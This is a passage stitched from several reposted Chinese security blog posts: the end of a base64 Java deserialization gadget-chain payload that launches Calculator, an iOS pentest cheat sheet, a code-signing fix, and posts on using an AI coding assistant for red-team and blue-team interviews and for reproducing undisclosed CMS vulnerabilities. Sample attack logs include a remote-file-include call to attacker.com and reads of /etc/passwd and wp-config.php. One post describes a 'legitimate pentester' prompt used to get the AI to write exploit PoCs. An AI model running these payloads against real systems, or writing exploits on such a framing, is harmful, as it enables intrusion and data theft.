y5YT2JqZWN09JgSCbt7thkCAAFMAAVtX29ianEAfgAJeHIALGNvbS5zdW4ub3JnLmFwYWNoZS54cGF0aC5pbnRlcm5hbC5FeHByZXNzaW9uB9mmHI2srNYCAAFMAAhtX3BhcmVudHQAMkxjb20vc3VuL29yZy9hcGFjaGUveHBhdGgvaW50ZXJuYWwvRXhwcmVzc2lvbk5vZGU7eHBwdAAEdGV4dHQAB2Z1cGFuYzJzcgAgY29tLmFsaWJhYmEuZmFzdGpzb24yLkpTT05PYmplY3QAAAAAAAAAAQIAAHhyABdqYXZhLnV0aWwuTGlua2VkSGFzaE1hcDTATlwQbMD7AgABWgALYWNjZXNzT3JkZXJ4cQB+AAs/QAAAAAAADHcIAAAAEAAAAAF0AAZmdXBhbmNzfQAAAAEAHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzeHIAF2phdmEubGFuZy5yZWZsZWN0LlByb3h54SfaIMwQQ8sCAAFMAAFodAAlTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25IYW5kbGVyO3hwc3IANG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5KZGtEeW5hbWljQW9wUHJveHlMxLRxDuuW/AIABFoADWVxdWFsc0RlZmluZWRaAA9oYXNoQ29kZURlZmluZWRMAAdhZHZpc2VkdAAyTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL2ZyYW1ld29yay9BZHZpc2VkU3VwcG9ydDtbABFwcm94aWVkSW50ZXJmYWNlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwAABzcgAwb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkFkdmlzZWRTdXBwb3J0JMuKPPqkxXUCAAVaAAtwcmVGaWx0ZXJlZEwAE2Fkdmlzb3JDaGFpbkZhY3Rvcnl0ADdMb3JnL3NwcmluZ2ZyYW1ld29yay9hb3AvZnJhbWV3b3JrL0Fkdmlzb3JDaGFpbkZhY3Rvcnk7TAAIYWR2aXNvcnN0ABBMamF2YS91dGlsL0xpc3Q7TAAKaW50ZXJmYWNlc3EAfgAjTAAMdGFyZ2V0U291cmNldAAmTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL1RhcmdldFNvdXJjZTt4cgAtb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLlByb3h5Q29uZmlni0vz5qfg928CAAVaAAtleHBvc2VQcm94eVoABmZyb3plbloABm9wYXF1ZVoACG9wdGltaXplWgAQcHJveHlUYXJnZXRDbGFzc3hwAAAAAAAAc3IAPG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5EZWZhdWx0QWR2aXNvckNoYWluRmFjdG9yeVTdZDfiTnH3AgAAeHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhzcQB+ACkAAAAAdwQAAAAAeHNyADRvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC50YXJnZXQuU2luZ2xldG9uVGFyZ2V0U291cmNlfVVu9cf4+roCAAFMAAZ0YXJnZXRxAH4ACXhwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3NxAH4AH0wABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAXVyAAJbQqzzF/gGCFTgAgAAeHAAAAGmyv66vgAAADQAGwEABEV2aWwHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BABJvcGVuIC1hIENhbGN1bGF0b3IIABABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAASABMKAAsAFAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHABYBAAY8aW5pdD4MABgACAoAFwAZACEAAgAXAAAAAAACAAgABwAIAAEACQAAABYAAgAAAAAACrgADxIRtgAVV7EAAAAAAAEAGAAIAAEACQAAABEAAQABAAAABSq3ABqxAAAAAAABAAUAAAACAAZwcQB+ABhwdwEAeHVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAA3ZyACNvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5TcHJpbmdQcm94eQAAAAAAAAAAAAAAeHB2cgApb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkFkdmlzZWQAAAAAAAAAAAAAAHhwdnIAKG9yZy5zcHJpbmdmcmFtZXdvcmsuY29yZS5EZWNvcmF0aW5nUHJveHkAAAAAAAAAAAAAAHhweAB4AAAAAQ==";
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(payload)));
ois.readObject();
ois.close();
}
}

参考文章

https://mp.weixin.qq.com/s/gl8lCAZq-8lMsMZ3_uWL2Q

https://xz.aliyun.com/news/14333

https://arthas.aliyun.com/doc/quick-start.html

https://xz.aliyun.com/news/18467

iOS移动命令渗透测试备忘录

iOS移动命令渗透测试备忘录

本文转自 周边 并作补充

注意:iOS应用程序与Android应用程序具有不同的环境,此处的某些命令仅适用于MacOS。

**iOS**指南

Install Brew, 打开 terminal (Finder -> Application -> Utilities -> Terminal) 键入命令 :
$ /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

Install XCode, 打开 terminal 并运行命令 :
$ xcode-select --install
或者您可以手动下载 Apple Website

将您的Apple ID注册为Apple Developer Account。您无需为此部分的Apple Developer Program付费,只需将您的帐户注册到Developer中,因为我们只需要获得用于在XCode或其他工具上签名ipa文件的证书即可。

通过USB的(iPROXY)

http://iphonedevwiki.net/index.php/SSH_Over_USB

从应用商店或iPhone/iPad设备下载.ipa文件

需要越狱

Clutch

Clutch

Frida Script

Frida-ios-dump command: $ iproxy 2222 22 $ ./dump.py BundleID

iOS二进制分析

ios-Analysis

Download : ios-analysis

安装 :

1
2
3
$ git clone https://github.com/IAIK/ios-analysis
$ cd ios-analysis
$ git submodule update --init --recursive

如果您遇到这样的错误 : error: RPC failed; curl 56 LibreSSL SSL_read: SSL_ERROR_SYSCALL, errno 60

运行这个命令: git config http.postBuffer 524288000

使用Windows登录并安装.ipa

  • 下载altsigner
  • 安装最新的iTunes(注意:使用二进制文件安装,请勿从Microsoft Store安装)
  • 打开Itunes并选择设备以复制设备的UDID
  • 打开altsigner.exe,填写您的[电子邮件,密码,UDID,.ipa文件路径]

使用我们的配置文件签名IPA文件

该工具非常有用:) iOS App Signer基于GUI。要生成我们的配置文件,您可以在安装应用程序时在XCODE上进行配置。

疑难问题

如果您收到这样的错误消息 If you have previously trusted your certificate using Keychain, please set the Trust setting back to the system default

不要惊慌,这样做:

  1. 进入Xcode并从“首选项”中删除您的帐户
  2. 去 ~/Library/MobileDevice/Provisioning 在finder中配置文件并删除其中的文件
  3. 进入钥匙串并删除所有提及Mac Developer,iOS Developer等的个人证书等
  4. 将您的帐户重新添加到Xcode中,然后选择吊销现有证书(如果无法吊销,请保留该证书)
  5. 转到xcode,然后尝试将虚拟应用程序安装到设备中。此步骤将触发苹果生成新的我们的证书。
  6. 然后,打开iOS App Signer

记一次重签名错误

记一次重签名错误

本文转自 听月 并作补充

什么问题?

最近打开Cydia就闪退,我就重新去下载了uncOver,打算重新越狱一下,但是在重签名的时候一直失败,提示”No codesigning certificates found”的错误。

image

什么原因导致?

由于我之前使用iOS App Signer这个MAC软件一直没有问题,今天遇到这个问题,我就想去github把源码克隆到本地,然后调试一下,看看具体是什么原因导致。
打开源码直接搜索No codesigning发现,这个错误是一个Alert弹框,和我们遇到的弹框信息一致。

image

最终调试发现,在程序调用/usr/bin/security find-identity -v -p codesigning命令时由于返回值为空,才触发错误弹框。

image

我把命令拷贝到终端执行,发现返回有效的identity的数量是0:

1
2
$ /usr/bin/security find-identity -v -p codesigning
0 valid identities found

此处的命令的意思是:

1
2
3
4
5
6
7
8
9
10
11
12
/usr/bin/security:
A simple command line interface which lets you administer keychains,
manipulate keys and certificates, and do just about anything the
Security framework is capable of from the command line.
(是一个管理钥匙串、keys和证书的命令行接口)

find-identify:
查找证书和私钥key的命令

-v: 只显示有效的证书,默认显示所有的证书

-p: 指定策略

具体的命令行的文档查看一下:

1
2
3
4
5
6
7
8
9
10
11
$ /usr/bin/security find-identity --help
find-identity: illegal option -- -
Usage: find-identity [-p policy] [-s string] [-v] [keychain...]
-p Specify policy to evaluate (multiple -p options are allowed)
Supported policies: basic, ssl-client, ssl-server, smime, eap,
ipsec, ichat, codesigning, sys-default, sys-kerberos-kdc, macappstore, appleID
-s Specify optional policy-specific string (e.g. DNS hostname for SSL,
or RFC822 email address for S/MIME)
-v Show valid identities only (default is to show all identities)
If no keychains are specified to search, the default search list is used.
Find an identity (certificate + private key).

怎么解决?

由于使用/usr/bin/security find-identity -v -p codesigning命令无法查询本地有效的重签名证书,我首先想到的就是更换查询策略,根据命令行文档可以看出,策略有很多种,包括basic, ssl-client ssl-server, smime, eap,ipsec, ichat, codesigning, sys-default, sys-kerberos-kdc, macappstore, appleID。经过尝试,发现策略改成appleID的时候是可以查询到有效证书的。但是这两个命令是有区别的。具体的区别如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
poet@poetdeMacBook-Pro ~ % /usr/bin/security find-identity -v -p codesigning
1) C766972EC48052D14E3A2D715F03960E10B4XXXX "Apple Development: Zhang San (MGRQJNV411)"
2) 8EA5E415105CEE96F75EAFA443B6AC992FC9CCCC "Apple Development: Li Si (SB6BFS5U22)"
3) AEF5450BA48F61EE1B5A718B7563D855E306DDDD "iPhone Developer: Zhang San (MGRQJNV433)"
3 valid identities found
poet@poetdeMacBook-Pro ~ % /usr/bin/security find-identity -v -p appleID
1.2.840.113635.78.1.30
1) F87912EA9F939D6F044F1B86A165C5D8AC8CAAAA "com.apple.idms.appleid.prd.5675685073322f516b6a565a55775471374c72424b671234" (CSSMERR_TP_CERT_EXPIRED)
2) 8751799A43C85FEF3914DE664E2A05251F40BBBB "Mac Developer: Lao Wang (H2C8DTYK00)" (CSSMERR_TP_CERT_EXPIRED)
3) C766972EC48052D14E3A2D715F03960E10B4CCCC "Apple Development: Zhang San (MGRQJNV411)" (Missing required extension)
4) 8EA5E415105CEE96F75EAFA443B6AC992FC9DDDD "Apple Development: Li Si (SB6BFS5U22)" (Missing required extension)
5) AEF5450BA48F61EE1B5A718B7563D855E306EEEE "iPhone Developer: Zhang San (MGRQJNV433)" (Missing required extension)
5 valid identities found

经过上面的对比,发现策略是codesigning的时候查询出来的是所有有效的重签名的证书,不包含其他的证书(比如:苹果的idms官方证书、MAC电脑的证书等),但是策略是appleID的时候查询出来的证书一定包含策略codesigning查询出来的证书。所以,当使用策略codesigning无法查询出证书情况的时候,可以考虑把策略换成appleID来查询。所以解决办法就是将codesigning策略换成appleID的策略。

提交Pull Request

解决这个问题之后,我去github仓库的issue里面看,发现很多人也有类似的问题,我就自己尝试提交了一个Pull Request到作者的仓库,虽然作者很久没有更新了,但是如果后续还有人碰到此问题可以通过类似的办法解决。如何提交Pull Request,我是参考github上的一个帖子,具体步骤如下:

如何在别人的开源项目中提交自己的Pull Request ?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1.先在本地创建一个空文件夹,里面准备放克隆过来的代码. --> 我在本地Downloads文件夹下创建了一个名为 gitMessagekit 的文件夹.
2.在"终端"中通过cd命令进入到gitMessagekit文件夹下(将"自己电脑的用户名"换成你自己的电脑的用户名). --> cd /Users/自己电脑的用户名/3.Downloads/gitMessagekit
3.在"终端"输入克隆命令 git clone 开源项目源代码的url. --> git clone https://github.com/MessageKit/MessageKit.git
4.进入到克隆所在的文件夹. --> cd /Users/自己电脑的用户名/Downloads/gitMessagekit/MessageKit
5.用查看命令查看一下开源项目都有多少个分支. --> git branch -a
6.找到自己要切换的分支,准备切换分支,在这里我要切换到3.0.0-beta分支. --> git checkout remotes/origin/3.0.0-beta
7.基于远程分支新建本地分支(3.0.0-beta),2条命令. --> git branch 3.0.0-beta git checkout 3.0.0-beta
8.打开/Users/自己电脑的用户名/Downloads/gitMessagekit/MessageKit该路径下的代码,对代码进行修改.
9.添加修改. --> git add 你修改的文件
10.提交修改. --> git commit -m "fix 某某问题"
11.去自己的git仓库,准备fork一下开源项目MessageKit到自己的仓库(repository)中.
12.即将关联自己fork过的项目. --> git remote add upstream git@github.com:xxjldh/MessageKit.git
13.推送本地的分支(3.0.0-beta)到自己fork过的仓库中,2条命令. --> git fetch origin git merge origin/3.0.0-beta
14.在即将提交时出现这样一个错误,git@github.com: Permission denied (publickey).解决办法(https://www.jianshu.com/p/f22d02c7d943)
15.最后push自己的分支到自己fork过的仓库中. --> git push upstream 3.0.0-beta
16.在开源项目https://github.com/MessageKit/MessageKit.git的pull request中添加自己刚修改过的文件, 点"comment pull request"即可.

下载链接

下载App重签名工具

参考链接

Mac Security工具使用总结
security命令
如何给开源项目贡献代码

巧用通义灵码助力护网面试

巧用通义灵码助力护网面试

本文转自 周周的奇妙编程 并作补充

前言

前几年护网还算是一个比较敏感的话题,但是随着近段时间的常态化开始,护网行动也是逐渐走进了大众的视野,成为了社会各界共同关注的安全盛事。本篇也是受通义灵码备战求职季活动的启发,结合近期要开始的护网行动,尝试出一期结合通义灵码助力护网面试的文章,希望帮助更多的朋友拿到offer。

护网行动

护网行动是以公安部牵头的,用以评估企事业单位的网络安全的活动。

具体实践中,公安部会组织攻防两方,进攻方会在一个月内对防守方发动网络攻击,检测出防守方(企事业单位)存在的安全漏洞。通过与进攻方的对抗,企事业单位网络、系统以及设备等的安全能力会大大提高。

“护网行动”是国家应对网络安全问题所做的重要布局之一。“护网行动”从2016年开始,随着我国对网络安全的重视,涉及单位不断扩大,越来越多的单位都加入到护网行动中,网络安全对抗演练越来越贴近实际情况,各机构对待网络安全需求也从被动构建,升级为业务保障刚需。

image

红队:主要负责模拟黑客攻击公司的网络系统,通过发起各种攻击,如漏洞利用、社会工程学攻击、恶意软件攻击、拒绝服务攻击等,来评估公司的网络安全防御能力,并向公司单位提供有关攻击及可能影响的信息。

蓝队:主要负责响应红队的攻击,保护公司的网络系统安全。蓝队工作主要包括但不限于系统修复、Patch打补丁、网络攻击防御等,维护公司的网络系统安全。此外,蓝队还会通过监控和日志分析,发现并追踪红队的攻击行为,以便加强公司的防御能力。

护网一般按照行政级别分为国家级护网、省级护网、市级护网;除此之外,还有一些行业对于网络安全的要求比较高,因此也会在行业内部展开护网行动,比如教育、医疗、金融等行业。

巧用通义灵码助力护网面试

根据上文也知道,在护网行动中分为红蓝两队,那么同理,面试时也是按照红蓝分开招聘的,并且根据低、中、高给出不同程度的面试题。

由于涉及到的场景不一样,下面我还是将蓝队和红队分开来讲。

蓝队面试

首先我们看一下蓝队面试的基本要求:

初级工程师

1.年龄20周岁及以上,有攻防演练、重保蓝队或者实习工作经验或CTF比赛经历。

2.熟悉常见漏洞原理、挖掘、利用、修复方法,能够进行日志分析、流量分析,准确上报攻击事件。

3.熟悉至少一款主流厂商安全设备,如WAF、威胁感知、主机审计监测工具等。

中级工程师

1.满足初级要求。

2.工作经验1年以上,能力突出可放宽选项。

3.具备全面的安全事件分析处置能力,能够制定有效的应急响应方案,并在第一时间处置突发情况。

4.有多次攻防演练或重保红蓝队工作经验(加分项)。

高级工程师

1.满足中级要求。

2.工作经验2年以上。

3.具备良好的沟通表达能力。

4.可对演练期间出现的各种安全问题提供解决方案,协助客户处理各种突发网络安全事件并输出成果报告。

目前建议最好都是去面中高蓝,初级的比较牛马,薪酬也不可观,容易背锅。

问答型面试题

问答型面试题对于大模型而言是最为简单的一种,这里需要人工去做的就是整理常见的面试题,建议去微信公众号中看看各位大佬整理的题型,然后结合大模型来学习就可以了,这也并不算是通义灵码独有的能力,所以不过多赘述。

image

案例面试-告警日志分析

稍微深层次一点的就是可以借助通义灵码来实现对告警事件的分析和筛选,以研判哪些是误报警,哪些是需要紧急响应的真实威胁。

比如说在WAF上或者IPS上有一堆类似的告警,我们可以通过灵码来进行进一步分析:

image

image

在确认攻击细节后,接下来,需要进一步确认该漏洞是否攻击成功,可以进入服务器提取相关日志:

比如说我提取身份验证相关的信息,例如用户登录、注销和失败的登录尝试的日志

1
/var/log/auth.log

将日志文件放入可直接进行分析。

image

又比如说直接放入nginx日志:

1
2
3
4
5
[06/Jul/2024:13:45:30 +0800] "GET /wp-admin/css/colors/blue/wp-admin.css?ver=5.4.2 HTTP/1.1" 200 10240 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36"
[06/Jul/2024:13:45:31 +0800] "POST /login.php HTTP/1.1" 401 200 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
[06/Jul/2024:13:46:05 +0800] "GET /cgi-bin/php?%2D%64+%61uto_prepend_file%3Dhttp%3A%2F%2Fattacker.com%2Fmalware.php HTTP/1.1" 404 499 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
[06/Jul/2024:13:47:15 +0800] "GET /wp-content/plugins/revslider/temp/update_extract/revslider/update.php?VULNERABLE_PARAMETER=../wp-config.php HTTP/1.1" 200 12345 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.192 Safari/537.36"
[06/Jul/2024:13:48:05 +0800] "GET /admin/index.php?cmd=cat%20/etc/passwd HTTP/1.1" 403 300 "-" "Python-urllib/2.7"

image

可以协助研判出是否可能存在外部入侵等。

而最后,假设确实存在被入侵的情况,比如说是有上传可疑文件,这时我们同样可以将该可疑文件进行分析:

image

当然这里仅仅是一个例子,实际情况可能比这个更为复杂。

案例面试-脚本撰写

对于蓝队中高级,也是需要一定的脚本编写能力的,一般情况下相关机构会提供一些开源脚本,也不一定都需要个人编写,但是就怕脚本本身带后门,一不小心还把客户给污染了,所以一般比较有经验的老师傅还是会选择自己来编写脚本。

像蓝队写的比较多的脚本,一般都是些入侵检测、批量封禁IP或者什么自动化告警上交之类的(娱乐脚本)。

这里就稍微举个例子,比如一台Linux服务器失陷了,一个蓝队小白肯定是会一条条的百度查命令然后顺着执行,但是蓝队的中高老鸟肯定会选择自己编写脚本来直接一键输出。

这里,我们来借助通义灵码直接实现:

给出prompt如下:我的电脑被入侵了,请帮我直接撰写出shell脚本来一次性排查所有可能涉及的信息项。

image

初次调教效果也不太如意,没事,我们可以继续优化:请帮我直接撰写出一个shell脚本输出Linux的机器名、用户信息、登录信息、建立连接的IP、对外监听端口、历史登录信息、安全日志中登录成功信息、历史命令、计划任务。

这里我已经明确的给出了需要输出的内容,通义灵码确实也不含糊,给出了一个完整的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/bin/bash

# 输出机器名
echo "Machine Name: $(hostname)"

# 输出当前用户信息
echo "User Info:"
id $(whoami)

# 输出最近的登录信息
echo "Last Login Info:"
last -w

# 显示已建立连接的IP(需根据实际情况调整,这里以netstat为例)
echo "Established Connections and IPs:"
sudo netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -nr

# 输出对外监听端口
echo "Listening Ports:"
sudo netstat -tuln

# 历史登录信息(检查/var/log/auth.log或其他相关日志文件,具体路径依系统而异)
echo "Historical Login Attempts:"
sudo cat /var/log/auth.log | grep 'pam_unix\(sshd\:\:session\): session opened for user'

# 安全日志中的登录成功信息(同样依赖于具体的日志配置)
echo "Successful Logins from Security Log:"
sudo cat /var/log/auth.log | grep 'Accepted password for'

# 用户的历史命令(这里以当前用户为例,使用bash历史记录)
echo "User's Recent Commands:"
history

# 计划任务(cron jobs), 这里只列出当前用户的
echo "Scheduled Tasks (Cron Jobs):"
crontab -l

# 注意:脚本中涉及sudo的部分需要有相应权限才能执行。

image

这里我再稍微修改一下,让脚本输出看上去更美观:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#! /bin/bash
# linux-info v0.1

echo "-------------------------机器名-------------------------"
hostname
echo "-------------------------查看用户信息-------------------------"
cat /etc/passwd |grep -v nologin |grep -v /bin/false
echo "-------------------------查看登录信息-------------------------"
w
echo "-------------------------查看正在连接的IP-------------------------"
netstat -antlp |grep ESTABLISHED
echo "-------------------------查看对外监听的端口-------------------------"
netstat -antlp |grep LISTEN | grep -v 127.0.0.1
echo "-------------------------查看历史登录信息-------------------------"
last -F -n 10
echo "-------------------------查看安全日志中登录成功信息-------------------------"
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
echo "-------------------------查看历史命令,查找外联-------------------------"
history | grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}"
echo "-------------------------查看计划任务-------------------------"
crontab -l
echo "-------------------------查找隐藏文件-------------------------"
find / ! -path "/proc/*" ! -path "/usr/*" ! -path "/var/*" ! -path "/sys/*" -name ".*" -print
echo "-------------------------其他·提示-------------------------"
echo "查看用户进程:lsof -u hack"
echo "查看端口占用:lsof -i:8888"
echo "查看公钥信息:~/.ssh/id_dsa.pub"
echo "查看进程:ps -aux"

随便丢进一台测试服务器里跑一下,看看效果:

image

还行吧,还是有点丑,不过这里也就是测试一下,格式啥的之后再调整吧。

而针对于自动化提交告警脚本可以参照这个来编写,在通义灵码的帮助下可以更快实现。

案例面试-报告撰写

报告撰写其实也算是大模型的长处了,里面的一些套话都可以用通义灵码来完成,这里也不赘述了,相信大家都会使用。

以上就是蓝队面试的全部内容了,无论是通过直接分析日志、编写自动化脚本,还是辅助撰写专业报告,通义灵码都能够显著提升蓝队工程师在护网行动面试及实际工作中的表现,帮助他们更好地应对网络安全挑战,展现专业能力。

红队面试

红队中高:

1、具备多次国家级、省级护网红队实战经验(获得前三名次优先)

2、熟悉红队打点、内网渗透、域渗透等

3、熟悉社工、免杀对抗等

4、有0day优先(加分项)

5、有SRC前十排名优先(加分项)

6、有CNE、CNVD证书优先(加分项)

红队中级,在红队初级的基础上掌握web原理和语言编程能力,fofa,Haktrails等资产搜索引擎的使用,能高效利用网络上公开的poc批量扫描站点并利用漏洞,具有内网横向渗透以及域控能力。

红队高级,这个时候技术路线就出现了分化。

第一种情况:技术背景是高校科班,研究方向是java和php编码与审计,情报搜集,基于Python的POC加工能力,熟悉常见安全产品的绕过,有src甚至是cvnd的漏洞挖掘经验。

第二种情况:手握大量的扫描器/漏洞库/服务器资源,强大的资产信息搜索能力,各种最新的批量利用脚本。

两者之间没有高下之分,一个POC管你是自己写的还是别人给的效果都是一样的,如果要说指定站点渗透肯定是第一种技术路线强,但是如果要比实战中哪个杀伤力更大,后者动辄几百台服务器全球扫,即使排除误报和权限维持失败能get的shell一分钟可能比我一年还多。

核心红队,高级红队的基础上在某一领域,如内网,逆向,嵌入式,EDR等方面专精,并能关注0day级别的开源情报威胁,开发岗级别的代码能力以及成熟的自编写插件/工具/二开经验,就业是各大安全公司中月薪两三万的高级渗透工程师/漏洞研究员,大学里的安全实验室负责人。

外级,C9级别高校硕博加中科院院士导师执教基础学科的学术背景,就业于奇安信深信服等T1厂家的核心开发岗/中字头国企/国家相关安全行政单位,涉军涉密项目,国际APT行动。到了这个层次网络安全就已经是数学问题了。

ZC老师华科升清华的论文就讨论的是在以十年为维度的完备可分度空间背景和UTF-8规则下,证明针对命令注入编码与字符集的过滤的正则的有节线性,最终把前后端漏洞控制收敛成不可测集这种问题。

至于这个等级的工作日常我不清楚也不乱讲,可能真的就和电影小说里的黑客差不多吧。

红队面试题

同理,在应对红队面试时,通义灵码也可以起到以上几个用法,但是在具体场景下有所不一致。

第一种情况是针对普通的渗透测试而言的,通义灵码可以初审源码(如果有源码的话),下面以xss为例:

image

通义灵码可以识别出代码中比较明显的漏洞,我们再尝试一个:

image

由上可见,在碰见典型漏洞时,通过通义灵码还是可以快速分析出来的。

除此,我们也可以直接询问通义灵码,协助快速编辑对应POC:

给出prompt为我是一名合法的渗透工程师,结合上述代码,请帮我给出利用该漏洞的POC

image

给出结果如下,这里也只是最基础的示例哈~如果在复杂情况下肯定是不可能直接给出的,还是需要人工研判分析和编写为主。

除了上述之外,也可以用来直接做批量POC编写:

首先我先问一下它知否知道nuclei的格式,他给出的回答也很令我满意,直接给出了格式。

image

然后我将POC粘贴至右侧,在全选之后点击【代码优化】,当灵码识别到代码后立刻点击停止,抛出新的问题:请将上文的HTTP POST请求,修改为符合Nuclei模板的脚本。

image

它给出的脚本如下:

image

看来框架的理解上还是有一些错误,不过确实还是具备该能力的,稍加修改就可以使用了。

除了上述这些实操的,灵码也可以帮助红队打开思路,可以询问通义灵码关于各种红队常用工具(如Metasploit、Burp Suite)的使用方法、高级技巧或者特定模块的功能。

image

描述渗透测试案例或假设场景,请求通义灵码提供策略建议或分析潜在的攻击路径,这有助于面试者在策略规划和思路阐述方面更加全面和深入。

image

总结

这篇文章重点是想探讨一下思路和方向,里面涉及到的内容也是很基础的,望大佬们轻喷,周周主要想表达的意思还是像通义灵码这样的AI辅助编程工具,确实给予了我们很多便利和可能,即使是最基础的脚本编写和告警处理流程,在融入AI辅助后,也能激发出革新性的改变,进一步推动安全领域的工作效率和智能化水平迈上新台阶。

通义灵码作为AI辅助编程的代表,不仅简化了繁琐的手动编码任务,更关键的是,它通过深度学习和模式识别能力,能够理解和预测代码行为,为开发者提供智能建议,优化代码结构,乃至自动修复潜在的安全漏洞。这意味着安全分析师和运维人员能够从重复劳动中解放出来,将更多精力聚焦于策略制定、风险评估和应急响应等更需智慧判断的任务上。

总结而言,希望通过分享这些基础内容和思路,激发行业内同仁对技术融合创新的思考,鼓励大家积极探索如何将诸如通义灵码之类的AI工具,融入到日常的安全工作中,从而在实战中不断提升安全防护的主动性和精确性,共同推进网络安全防御体系的现代化进程。

这里再额外说几句,其实通义灵码我从去年云栖之后就开始一直使用了,这一年他的进步其实是肉眼可见的,从起初辅助基础代码编写、语法纠错这些基本功能,到现在已经能够稍微理解复杂的业务逻辑了。诚然,没有一项技术是完美的,通义灵码仍有提升空间,尤其是在跨领域知识整合与高度创新项目的支持上。但不可否认,它所展现的进步速度和潜力,让我们有理由相信,在不久的将来,它将在软件开发领域扮演更加核心和智能的角色,继续推动行业的边界,助力开发者们实现更大的技术创新和业务价值。

【灵码助力安全2】——利用通义灵码辅助复现未公开漏洞的实践

【灵码助力安全2】——利用通义灵码辅助复现未公开漏洞的实践

本文转自 周周的奇妙编程 并作补充

前言

暨上一篇【灵码助力安全1】——利用通义灵码辅助快速代码审计的最佳实践之后,这第二篇主要是想分享一下通义灵码在复现未公开漏洞方面的应用,当然,前提也是必须得有相应的源码。

有的时候,由于安全人员水平的限制和时间、资源等条件的约束,使得对于某些已知但未公开漏洞(如0day、未公开1day漏洞)的复现和分析变得十分困难。在这种情况下,利用通义灵码这样的智能编码辅助工具,可以显著提高漏洞复现的效率,并且帮助安全研究人员更快速地理解和解决问题。

基本思路

通常,CVE上、付费网站、韭菜星球上会有一些漏洞细节的描述,但是偏偏不给你Poc,这时万一你发现搜遍全网也都搜不到这个公开的,就必需要依靠自己的技术能力和手头上的工具来尝试复现这些漏洞了。

关于CVE的查找,我个人偏向于喜欢使用以下两个:

https://cxsecurity.com/

image

https://cvefeed.io/

image

而源码的获取方面,目前我还是以开源代码为主,一般都是在github、gitee、站长工具甚至微信公众号上去查找收集,但是说实话,这种代码涉及的网络空间影响面都不会特别大,可能会有人用,但一般不会是特别重点的企事业单位。

此次以某cms最新版4.8为例,我们尝试借助通义灵码并根据cve的细节描述来进行该未公开漏洞的复现,复现的环境搭建可以参考我的上一篇文章,在此不过多赘述。

下面按照由易到难的顺序依次举例说明:

xss漏洞

根据cve原文描述漏洞如下:

A vulnerability, which was classified as problematic, has been found in xxxCMS 4.8. Affected by this issue is some unknown functionality of the file /index.php/admin of the component Article Handler. The manipulation of the argument Title leads to basic cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.

一个被归类为有问题的漏洞出现在xxxCMS 4.8版本中。该漏洞影响了Article Handler组件中的/index.php/admin文件的某个未知功能。通过对参数Title的操控,会导致基础的跨站脚本攻击(XSS)。

首先,涉及到跨站脚本攻击的这种漏洞其实并不复杂,有经验的人可以随便测,但是这里我们既然有了源码,有了漏洞描述,就可以直接进行方法定位了,

在灵码中给出prompt如下:

已知此处存在漏洞,影响了Article Handler组件中的/index.php/admin文件的某个未知功能。通过对参数Title的操控,会导致基础的跨站脚本攻击(XSS), 请你帮忙确认漏洞存在位置并加以分析,不需要给出修复方法。

模式选择工作空间模式:

image

在这个模式下的缺点就是无法很好的理解我的问题,不管如何提示,他始终只会给出针对漏洞的修复方法,所以必须强制其不要给出修复方法。

灵码给出的回复如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1.在文件article.php中,存在以下代码片段:

